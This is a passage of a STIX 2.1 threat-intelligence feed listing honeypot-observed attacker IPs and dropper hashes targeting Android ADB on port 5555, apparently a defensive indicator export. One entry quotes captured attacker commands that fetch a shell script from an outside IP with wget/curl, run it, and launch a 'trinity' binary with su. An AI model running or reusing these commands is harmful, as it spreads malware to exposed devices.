      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '35.203.211.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T03:00:07.000Z",
      "valid_until": "2026-06-16T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-15T02:31:01.000Z",
          "last_seen": "2026-05-15T02:41:58.465Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-15T04:33:14.000Z | last_seen=2026-05-15T04:34:18.966Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--4f5dc13a-c388-4e35-b068-03f60fc05962",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.16.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:00:03.000Z",
      "valid_until": "2026-06-16T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-15T04:33:14.000Z",
          "last_seen": "2026-05-15T04:34:18.966Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=5413; asn_org=Wavenet Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-15T06:55:24.000Z | last_seen=2026-05-22T19:28:57.603Z | ports=5555 | cc=GB | asn=5413 | org=Wavenet Limited",
      "id": "indicator--ab548dea-6e91-4796-bd9b-83a841149d78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '217.67.51.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:00:02.000Z",
      "valid_until": "2026-06-16T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-15T06:55:24.000Z",
          "last_seen": "2026-05-22T19:28:57.603Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "5413"
          ],
          "org": [
            "Wavenet Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=AE; asn=209373; asn_org=Swissnet LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=67 | first_seen=2026-05-15T09:02:21.000Z | last_seen=2026-05-15T17:15:54.443Z | ports=5555 | cc=AE | asn=209373 | org=Swissnet LLC",
      "id": "indicator--d2279eb2-ef72-4cc7-a6e9-b3b96abba21d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T10:00:03.000Z",
      "valid_until": "2026-06-16T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 67,
          "first_seen": "2026-05-15T09:02:21.000Z",
          "last_seen": "2026-05-15T17:15:54.443Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "209373"
          ],
          "org": [
            "Swissnet LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-15T10:36:48.000Z | last_seen=2026-05-15T10:47:04.628Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--5a749a7b-c7b4-4212-a63e-ccb71460ea6e",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.1.104.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T11:00:02.000Z",
      "valid_until": "2026-06-16T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-15T10:36:48.000Z",
          "last_seen": "2026-05-15T10:47:04.628Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T13:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/32cf939376dbe70f9a30dc868f88f5c67765a64ce3ee73d14354f99f06fbf0ff.raw; last_seen=2026-05-15T12:42:04.970Z",
      "id": "indicator--e2300726-d818-46e7-bca4-da0459632443",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '32cf939376dbe70f9a30dc868f88f5c67765a64ce3ee73d14354f99f06fbf0ff']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-15T13:59:37.000Z | last_seen=2026-05-15T14:00:43.756Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c6781ba7-f62a-4687-ba7d-a73ad886309c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T14:00:02.000Z",
      "valid_until": "2026-06-16T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-15T13:59:37.000Z",
          "last_seen": "2026-05-15T14:00:43.756Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-04T15:00:09.000Z | last_seen=2026-05-23T00:40:30.404Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:00:10.000Z",
      "valid_until": "2026-06-16T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-04T15:00:09.000Z",
          "last_seen": "2026-05-23T00:40:30.404Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T15:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/1719c66f6582868719f0e2d4526894996be6bbe0d51b1d523e3bfb19f317808a.raw; last_seen=2026-05-15T14:37:04.655Z",
      "id": "indicator--5c8a9d13-86dc-414b-82c4-3d24635bec48",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '1719c66f6582868719f0e2d4526894996be6bbe0d51b1d523e3bfb19f317808a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T17:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-15T16:35:08.000Z | last_seen=2026-05-15T16:36:10.643Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b5f35135-8c0b-48d8-ae27-9d64a92ac7a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:00:10.000Z",
      "valid_until": "2026-06-16T17:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-15T16:35:08.000Z",
          "last_seen": "2026-05-15T16:36:10.643Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T17:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/2ee7b048fc54b35083009354497e56d8197cc4c2bc90949d2fdd32dec7bda4ac.raw; last_seen=2026-05-15T16:41:44.630Z",
      "id": "indicator--704e807c-7bbe-4fc4-b696-f712cbbdba19",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '2ee7b048fc54b35083009354497e56d8197cc4c2bc90949d2fdd32dec7bda4ac']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=64; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=64 | first_seen=2026-05-15T20:34:00.000Z | last_seen=2026-05-15T20:48:09.182Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,6ad3c27482709fcd52f9b9f25b37ce4fbcba59422f3bb4fd2d0f7624b113b7c3,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--3a64d88f-e4da-4e6b-a8f9-2ead4e6aec93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '117.84.167.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:00:02.000Z",
      "valid_until": "2026-06-16T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 64,
          "first_seen": "2026-05-15T20:34:00.000Z",
          "last_seen": "2026-05-15T20:48:09.182Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "6ad3c27482709fcd52f9b9f25b37ce4fbcba59422f3bb4fd2d0f7624b113b7c3",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T21:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6ad3c27482709fcd52f9b9f25b37ce4fbcba59422f3bb4fd2d0f7624b113b7c3.raw; src_ip=117.84.167.27; src_ips=117.84.167.27; cc=CN; last_seen=2026-05-15T20:37:42.888Z; cmds=[cd /data/local/tmp/; busybox wget http://166.88.225.255/hx/android.sh; sh android.sh; curl http://166.88.225.255/hx/andr | /data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity]",
      "id": "indicator--2c14786c-2bb8-4832-89fb-7645381ce44d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '6ad3c27482709fcd52f9b9f25b37ce4fbcba59422f3bb4fd2d0f7624b113b7c3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=59 | first_seen=2026-05-15T21:20:25.000Z | last_seen=2026-05-15T21:32:49.541Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--b7e35ecf-fc31-4e3c-8ea8-61635a7c36c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '210.99.94.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:00:02.000Z",
      "valid_until": "2026-06-16T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 59,
          "first_seen": "2026-05-15T21:20:25.000Z",
          "last_seen": "2026-05-15T21:32:49.541Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RU; asn=205775; asn_org=Neon Core Network LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-15T22:45:00.000Z | last_seen=2026-05-15T22:46:02.838Z | ports=5555 | cc=RU | asn=205775 | org=Neon Core Network LLC",
      "id": "indicator--06d39c1c-aa83-4520-ad8e-71384f387b02",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '217.145.227.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:00:02.000Z",
      "valid_until": "2026-06-16T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-15T22:45:00.000Z",
          "last_seen": "2026-05-15T22:46:02.838Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "205775"
          ],
          "org": [
            "Neon Core Network LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-15T23:58:36.000Z | last_seen=2026-05-16T00:00:15.929Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--4986a7c1-2b1f-40d5-9101-166532ed0e0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.36.159.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:00:03.000Z",
      "valid_until": "2026-06-17T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-15T23:58:36.000Z",
          "last_seen": "2026-05-16T00:00:15.929Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-15T23:33:06.000Z | last_seen=2026-05-15T23:44:42.283Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e965712b-4190-4068-a641-76da3d6ecf4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
